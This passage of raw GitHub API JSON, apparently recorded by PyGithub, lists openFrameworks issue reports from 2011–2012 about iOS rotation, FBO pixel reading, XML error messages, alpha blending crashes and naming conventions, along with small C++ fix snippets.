that the gui view does not call the **willAnimateRotationToInterfaceOrientation()** at launch, and I get the following message in the console\r\n_**Action connections from <UIView: 0x5b88d0; frame = (20 0; 280 320); autoresize = LM+RM+H; layer = <CALayer: 0x5b7d30>> are not supported.**_\r\n\r\n if I use **[ofxiPhoneGetUIWindow() addSubview:guiViewController.view];** the **willAnimateRotationToInterfaceOrientation()** method works at launch as expected and the gui view adjust itself to the correct position and size\r\n\r\nAny help will be much appreciated","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/764","comments":1,"milestone":null,"number":764,"html_url":"https://github.com/openframeworks/openFrameworks/issues/764","assignee":{"url":"https://api.github.com/users/julapy","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":331382},"title":"Autoresize problem in iOS","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-10-05T20:35:04Z","state":"open","user":{"url":"https://api.github.com/users/nardove","gravatar_id":"8022cb5f529975afbc64cc9312008d8c","login":"nardove","avatar_url":"https://secure.gravatar.com/avatar/8022cb5f529975afbc64cc9312008d8c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":277690},"id":1827792,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-09-28T01:00:34Z","body":"ofxXmlXettings uses TinyXML which gives you lots of useful error info like what line the error is on as well as what it has trouble reading. This is super awesome and useful to people like me who always mistype xml here and there.\r\n\r\nCurrently ofxXmlSettings::loadFile only returns a bool and you're left to figure out if it's a path issue, bad xml formatting, etc. At the least, we should be able to grab an error string.\r\n\r\nHere's how to do it:\r\n
\r\nstd::string Xml::getErrorString(const TiXmlDocument* xmlDoc)\r\n{\r\n    if(xmlDoc == NULL)\r\n        return \"\";\r\n\r\n    std::stringstream error;\r\n    error << \"line \" <<  xmlDoc->ErrorRow() << \", \" << (std::string) xmlDoc->ErrorDesc();\r\n    return error.str();\r\n}\r\n
","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/760","comments":1,"milestone":null,"number":760,"html_url":"https://github.com/openframeworks/openFrameworks/issues/760","assignee":null,"title":"ofxXmlSettings does not print any useful error messages","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2011-09-28T00:53:09Z","state":"open","user":{"url":"https://api.github.com/users/danomatika","gravatar_id":"5fa1d3aa502b308b8a3ae814fb88ac04","login":"danomatika","avatar_url":"https://secure.gravatar.com/avatar/5fa1d3aa502b308b8a3ae814fb88ac04?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":480637},"id":1758237,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-27T03:48:47Z","body":"This would be the best thing ever. \r\n\r\nstring ipAddr = ofxXmlSettings::readValueFromFile(\"data.xml\", \"ip\", \"127.0.0.1\"); \r\n\r\nofxXmlSettings::saveValueToFile(\"data.xml\", \"ip\", ipAddr); ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/758","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","closed_issues":21,"number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":758,"html_url":"https://github.com/openframeworks/openFrameworks/issues/758","assignee":null,"title":"non ofxXmlSettings object read and write value","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/codeblocks+","name":"codeblocks ","color":"cb6efa"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2011-09-26T11:54:06Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144000},"id":1738864,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-09-25T13:22:59Z","body":"in my opinion, it would make sense for ofPixels::allocate to initialize the new memory to 0. even for large images, i don't think this is such an expensive operation.\r\n\r\ni discovered that it is not initialized to 0 when i had a really weird bug -- some code that gave me different results depending on whether i loaded another image before allocating or not. i was expecting OF to act like opencv, which also sets new memory to 0. this would be in line with ofVec*, ofColor, and a few other things, which are all allocated to 0.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/757","comments":0,"milestone":null,"number":757,"html_url":"https://github.com/openframeworks/openFrameworks/issues/757","assignee":null,"title":"ofPixels::allocate should init new memory","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2011-09-25T13:22:59Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":1733504,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-09-22T08:20:27Z","body":"void ofFbo::end() {\r\n\tunbind();\r\n\tif(ofGetGLRenderer()){\r\n\t\tofGetGLRenderer()->setCurrentFBO(NULL);\r\n\t}\r\n\tofPopView();\r\n}\r\n\r\nthis will go wrong if nested fbo as following\r\n\r\nfbo1.begin();\r\n...\r\n fbo2.begin();\r\n ...\r\n fbo2.end();\r\n...\r\nfbo1.end();\r\n\r\nso probably the current fbo must not be set NULL\r\n\r\nerror show's in\r\nvoid ofGLRenderer::viewport(float x, float y, float width, float height, bool invertY) {\r\n\tif(width == 0) width = ofGetWindowWidth();\r\n\tif(height == 0) height = ofGetWindowHeight();\r\n\r\n\tif (invertY){\r\n\t\tif(currentFbo){\r\n\t\t\ty = currentFbo->getHeight() - (y + height);\r\n\t\t}else{\r\n\t\t\ty = ofGetWindowHeight() - (y + height);\r\n\t\t}\r\n\t}\r\n\tglViewport(x, y, width, height);\t\r\n}\r\nthe 'y' will computing wrong when current height is wrong\r\n\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/754","comments":0,"milestone":null,"number":754,"html_url":"https://github.com/openframeworks/openFrameworks/issues/754","assignee":null,"title":"nested fbo causing currentFBO lost","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-09-22T08:20:27Z","state":"open","user":{"url":"https://api.github.com/users/liquidzym","gravatar_id":"166640c513e589c86d2de49c52258eb4","login":"liquidzym","avatar_url":"https://secure.gravatar.com/avatar/166640c513e589c86d2de49c52258eb4?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":51957},"id":1708332,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-10T04:38:03Z","body":"I found an issue with readToPixels() on iOS that works as expected when compiled for OSX. \r\n\r\nInitialize an FBO:\r\n\r\n   ofFbo::Settings settings;\r\n    settings.width = 1024;\r\n    settings.height = 1024;\r\n    settings.internalformat = GL_RGB;\r\n    settings.numSamples = 0;\r\n    settings.useDepth = false;\r\n    settings.useStencil = false;\r\n    screenFBO.allocate(settings);\r\n\r\nthen draw into the FBO and attempt to retrieve the pixels:\r\n\r\n ofPixels pixels; \r\n screenFBO.readToPixels(pixels); \r\n\r\nThis gives me the ofPixels I'm expecting in OSX, in iOS the pixels aren't populated. I can draw the FBO and see it on screen, I just can't get the pixels out of the texture in iOS.\r\n\r\nThis seems to be related to this portion of readToPixels() from ofFbo.cpp:\r\n\r\n bind(); \r\n int format,type; \r\n ofGetGlFormatAndType(settings.internalformat,format,type); \r\n glReadPixels(0,0,settings.width, settings.height, format, GL_UNSIGNED_BYTE, pixels.getPixels()); \r\n unbind(); \r\n\r\nHas anyone experienced this issue – any fixes?\r\n\r\nThanks,\r\nSteve","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/753","comments":1,"milestone":null,"number":753,"html_url":"https://github.com/openframeworks/openFrameworks/issues/753","assignee":{"url":"https://api.github.com/users/julapy","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":331382},"title":"ofFbo readToPixels() in iOS","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-09-21T20:50:33Z","state":"open","user":{"url":"https://api.github.com/users/stephen-baker","gravatar_id":"96e9ae469240e57fc3ebeed6769c7016","login":"stephen-baker","avatar_url":"https://secure.gravatar.com/avatar/96e9ae469240e57fc3ebeed6769c7016?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":1047836},"id":1704855,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-09-21T10:37:20Z","body":"I'm having a problem with creating an image out of ofFbo pixels with some image and fbo sizes\r\n\r\n```c++\r\nvoid testApp::setup(){\r\n\r\n ofSetLogLevel(OF_LOG_VERBOSE);\r\n\tofSetVerticalSync(false);\r\n ofBackground(34, 34, 34);\r\n\tofEnableAlphaBlending();\r\n\r\n ofSetWindowShape(1024, ofGetScreenHeight()-70);\r\n ofSetFrameRate(60);\r\n\r\n frame.loadImage(\"lay.png\");\r\n \r\n imageHeight = 1172;\r\n imageWidth = 1182;\r\n\r\n mergeFbo.allocate(imageWidth, imageHeight, GL_RGB);\r\n\r\n final.setImageType(OF_IMAGE_COLOR);\r\n\r\n}\r\n\r\n//--------------------------------------------------------------\r\nvoid testApp::draw(){\r\n\r\n ofEnableAlphaBlending();\r\n\r\n mergeFbo.begin();\r\n\r\n ofClear(0, 0, 0, 1);\r\n\r\n frame.draw(0, 0);\r\n\r\n mergeFbo.end();\r\n\r\n\r\n mergeFbo.draw(200, 100, 100, 200);\r\n \r\n \r\n mergeFbo.readToPixels(pixels);\r\n final.setFromPixels(pixels);\r\n\r\n final.draw(0, 0);\r\n\r\n}\r\n```","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/752","comments":1,"milestone":null,"number":752,"html_url":"https://github.com/openframeworks/openFrameworks/issues/752","assignee":null,"title":"ofFbo (problems with certain image dimensions)","labels":[],"closed_at":null,"created_at":"2011-09-20T21:16:24Z","state":"open","user":{"url":"https://api.github.com/users/ammalgamma","gravatar_id":"96b69749f518cf6a2964b999bf29ee8e","login":"ammalgamma","avatar_url":"https://secure.gravatar.com/avatar/96b69749f518cf6a2964b999bf29ee8e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":517000},"id":1691874,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-09-19T09:04:12Z","body":"feature request for a more generic ofJoin() function that accepts vectors of all kinds of objects (float, int, ofVec2f, etc) rather than just string. anything that implements operator<<\r\n\r\nhere's an example using stl:\r\n\r\n\t#include \r\n\ttemplate \r\n\tstring ofJoin(vector& elements, string delimiter) {\r\n\t\tstringstream result;\r\n\t\tcopy(elements.begin(), elements.end(), ostream_iterator(result, delimiter.c_str()));\r\n\t\treturn result.str();\r\n\t}","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/748","comments":3,"milestone":null,"number":748,"html_url":"https://github.com/openframeworks/openFrameworks/issues/748","assignee":null,"title":"more generic ofJoin","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2011-09-17T07:26:18Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":1668066,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-09-21T17:22:14Z","body":"\r\nI'm looking into creating some new primitives for OF [1] and the polygon winding has me a bit confused.\r\n\r\nIf you take for instance \"graphicsExample\" an you add:\r\n\r\n```glEnable( GL_CULL_FACE );```\r\n\r\nSomewhere you will no longer see much drawn to screen.\r\n\r\nGL_CCW is the default FrontFace for OpenGL, but OF seems to be the opposite.\r\nhttp://www.khronos.org/opengles/sdk/docs/man/xhtml/glFrontFace.xml\r\n\r\nWhich is coolio of course, as long as we are consistent.\r\n\r\nOur options are either to throw a ```glFrontFace( GL_CW );``` in there somewhere OR re-write all the drawing to be consistent with OpenGL default, not sure what is the best in the long run.\r\n\r\nWhat say you all?\r\n\r\n/A\r\n\r\n\r\n[1] https://github.com/andreasmuller/openFrameworks/blob/develop-opengles2/libs/openFrameworks/3d/of3dPrimitives.h","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/745","comments":2,"milestone":null,"number":745,"html_url":"https://github.com/openframeworks/openFrameworks/issues/745","assignee":null,"title":"Polygon winding","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2011-09-14T13:50:48Z","state":"open","user":{"url":"https://api.github.com/users/andreasmuller","gravatar_id":"210831a04d36f1aa26413ecbdbd4b07c","login":"andreasmuller","avatar_url":"https://secure.gravatar.com/avatar/210831a04d36f1aa26413ecbdbd4b07c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":791114},"id":1643672,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}}] https GET api.github.com None /repos/openframeworks/openFrameworks/issues?page=8 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4936'), ('content-length', '42586'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('Link', '; rel="next", ; rel="last", ; rel="first", ; rel="prev"'), ('etag', '"1f6749765d79f3319834dfda4c27cd5e"'), ('date', 'Tue, 29 May 2012 19:27:17 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"updated_at":"2012-03-17T16:52:58Z","body":"i think it would be wonderful if every OF example was named ofApp instead of testApp. especially because:\r\n\r\n\tclass ofApp : public ofBaseApp {\r\n\r\nis more natural than:\r\n\r\n\tclass testApp : public ofBaseApp {\r\n\r\ngiven the rest of OF naming conventions. and it would increase consistency with things like:\r\n\r\n\tofGetAppPtr();\r\n\tofAppBaseWindow\r\n\tofAppGlutWindow\r\n\r\nthis is a massive refactor that shouldn't be difficult, but should be done at the same time as something like a code formatting cleanup.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/744","comments":10,"milestone":null,"number":744,"html_url":"https://github.com/openframeworks/openFrameworks/issues/744","assignee":null,"title":"rename testApp to ofApp","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2011-09-14T07:02:36Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":1641198,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-09-26T11:56:48Z","body":"calling ofEnableAlphaBlending() crashes my app on a machine with opengl version 1.1.0, because glBlendEquation(), introduced at opengl 1.3, needs to gracefully degrade. Here is the solution:\r\n\r\n
\r\nvoid ofEnableAlphaBlending_slightlySafer(void){\r\n\tconst GLubyte * version = glGetString(GL_VERSION);\r\n\tint major, minor;\r\n\tsscanf((const char*)version, \"%i.%i\",&major, &minor);\r\n\r\n\tif(major > 1 || (major==1 && minor>=3)){\r\n\t\tofEnableAlphaBlending();\r\n\t}\t\r\n}\r\n
","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/743","comments":1,"milestone":null,"number":743,"html_url":"https://github.com/openframeworks/openFrameworks/issues/743","assignee":null,"title":"seg fault on ofEnableAlphaBlending() -> glBlendEquation()","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2011-09-13T22:53:55Z","state":"open","user":{"url":"https://api.github.com/users/jtnimoy","gravatar_id":"153ba4a8df491692b717daad7a6030be","login":"jtnimoy","avatar_url":"https://secure.gravatar.com/avatar/153ba4a8df491692b717daad7a6030be?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":183796},"id":1639020,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-10T04:39:00Z","body":"In ofxiPhoneAppDelegate.mm in the setAnimationFrameInterval method should be changed from\r\n\r\n\r\nif (animating){\r\n [self stopAnimation];\r\n [self startAnimation];\r\n}\r\n\r\nto\r\n\r\nif (animating){\r\n [self stopAnimation];\r\n}\r\n [self startAnimation];\r\n\r\nThis will allow it start again if it's stopped.\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/738","comments":0,"milestone":null,"number":738,"html_url":"https://github.com/openframeworks/openFrameworks/issues/738","assignee":{"url":"https://api.github.com/users/julapy","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":331382},"title":"ofxiPhone - setting ofSetFrameRate(0) and then back to > 0 doesn't start again","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2011-09-12T21:23:04Z","state":"open","user":{"url":"https://api.github.com/users/cerupcat","gravatar_id":"91b3d4bfbbb99d840b096cde3af877bf","login":"cerupcat","avatar_url":"https://secure.gravatar.com/avatar/91b3d4bfbbb99d840b096cde3af877bf?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":204151},"id":1628082,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-12-03T22:55:09Z","body":"it would be awesome to have lines drawn nicer when they are 1 thick and 2 make sharp edges. processing has some functions strokeCap() and strokeJoin() for setting this behavior, but it doesn't work with OPENGL mode. we could probably adapt a geometry shader to do some smart mitering for us on the GPU.\r\n\r\nprompted by the discussion here: http://forum.openframeworks.cc/index.php/topic,7278.0/topicseen.html","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/730","comments":1,"milestone":null,"number":730,"html_url":"https://github.com/openframeworks/openFrameworks/issues/730","assignee":null,"title":"nicer stroke mitering/joining and end caps","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2011-09-07T03:27:13Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":1586262,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-09-05T15:39:58Z","body":"ofColor_:operator+= currently calls clamp() when it's done doing the +=\r\n\r\ni imagined one of the applications of ofFloatColor would be for averaging or summing ofColor, which normally requires non-saturation semantics for +=. i could also do a / or * every += operation to avoid overflow. this doesn't have to be a bug, but it should at least be documented clearly when we discuss ofColor.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/728","comments":1,"milestone":null,"number":728,"html_url":"https://github.com/openframeworks/openFrameworks/issues/728","assignee":null,"title":"ofColor and clamping","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/documentation","name":"documentation","color":"cccc29"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2011-09-05T14:41:50Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":1569364,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-09-05T10:17:48Z","body":"Hello\r\n\r\nI had a problem with gamma for my Carbon app in OSX 10.6, UI looked \"blotched\" with Pappis' help it was solved, here are details:\r\n\r\nhttp://forum.openframeworks.cc/index.php/topic,6404.msg30519.html#msg30519\r\n\r\nHowever, the trick with HIWindowSetColorSpace does not work in OSX 10.7 Lion\r\nLooking for solutions again\r\n\r\nThanks\r\nTom\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/727","comments":0,"milestone":null,"number":727,"html_url":"https://github.com/openframeworks/openFrameworks/issues/727","assignee":null,"title":"OSX 10.7 Gamma Problem","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/macOS","name":"macOS","color":"2a8296"}],"closed_at":null,"created_at":"2011-09-05T10:17:48Z","state":"open","user":{"url":"https://api.github.com/users/Tommato","gravatar_id":"95bbfbd39116dffe06be4d816f322bf0","login":"Tommato","avatar_url":"https://secure.gravatar.com/avatar/95bbfbd39116dffe06be4d816f322bf0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":1027082},"id":1566286,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-08-26T18:44:30Z","body":"Related forum post: http://forum.openframeworks.cc/index.php/topic,7053.0.html\r\n\r\nFrom what I understand, it's best to leave the mainThread for UIKit elements and move openGL and other things to another thread. Currently, if there's a lot of drawing then the UIKit elements are delayed and can even pause the update/draw methods entirely. Moving the drawing to it's own thread should help with this.\r\n\r\nI'm still testing, but this looks like it could be a good candidate for core integration. It has examples of threaded, single (what we currently use), and GCD (which I think is iOS 4.0 only) openGL implementation: https://github.com/Volcore/LimbicGL In my early tests, it does fix any pausing of the update/draw with the threaded example (haven't tried the others). I could use some help though trying to integrate this into OF properly.\r\n\r\nThe main example classes are here: https://github.com/Volcore/LimbicGL/tree/master/limbicgl/drivers\r\n\r\n\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/721","comments":0,"milestone":null,"number":721,"html_url":"https://github.com/openframeworks/openFrameworks/issues/721","assignee":null,"title":"ofxiPhone - Move openGL to its own thread","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2011-08-26T18:43:09Z","state":"open","user":{"url":"https://api.github.com/users/cerupcat","gravatar_id":"91b3d4bfbbb99d840b096cde3af877bf","login":"cerupcat","avatar_url":"https://secure.gravatar.com/avatar/91b3d4bfbbb99d840b096cde3af877bf?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":204151},"id":1497330,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-10T04:39:39Z","body":"The libraries linked in 007 as well as the new AVFoundationVideoPlayer is not compatible with 3.x devices and won't build.\r\n\r\nAfter further exploring, I believe these are the steps to get things running on 3.x devices.\r\n\r\n1) In Xcode, Click on target -> application name\r\n2) In the File Name window, set AVFoundation, CoreMedia, and CoreVideo from role \"required\" to \"weak\". They need to be weak linked since they're only available in iOS 4+.\r\n3) In ofxiPhone src folder, AVFoundationVideoPlayer.mm uses CMBlockBufferRef and that is only available in iOS4. This means, this function should be commented out (sorry - avfoundationvideoplayer won't run on iOS4 unless the blocker is changed). Either that or you can comment ouf AVFoundationVideoPlayer from being included in OF.\r\n4) Clean all targets and rebuild","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/720","comments":0,"milestone":null,"number":720,"html_url":"https://github.com/openframeworks/openFrameworks/issues/720","assignee":{"url":"https://api.github.com/users/julapy","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":331382},"title":"007 ofxiPhone not compatible with 3.x devices ","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2011-08-26T18:38:38Z","state":"open","user":{"url":"https://api.github.com/users/cerupcat","gravatar_id":"91b3d4bfbbb99d840b096cde3af877bf","login":"cerupcat","avatar_url":"https://secure.gravatar.com/avatar/91b3d4bfbbb99d840b096cde3af877bf?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":204151},"id":1497291,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-08-22T17:38:49Z","body":"\r\nbased on this comment, 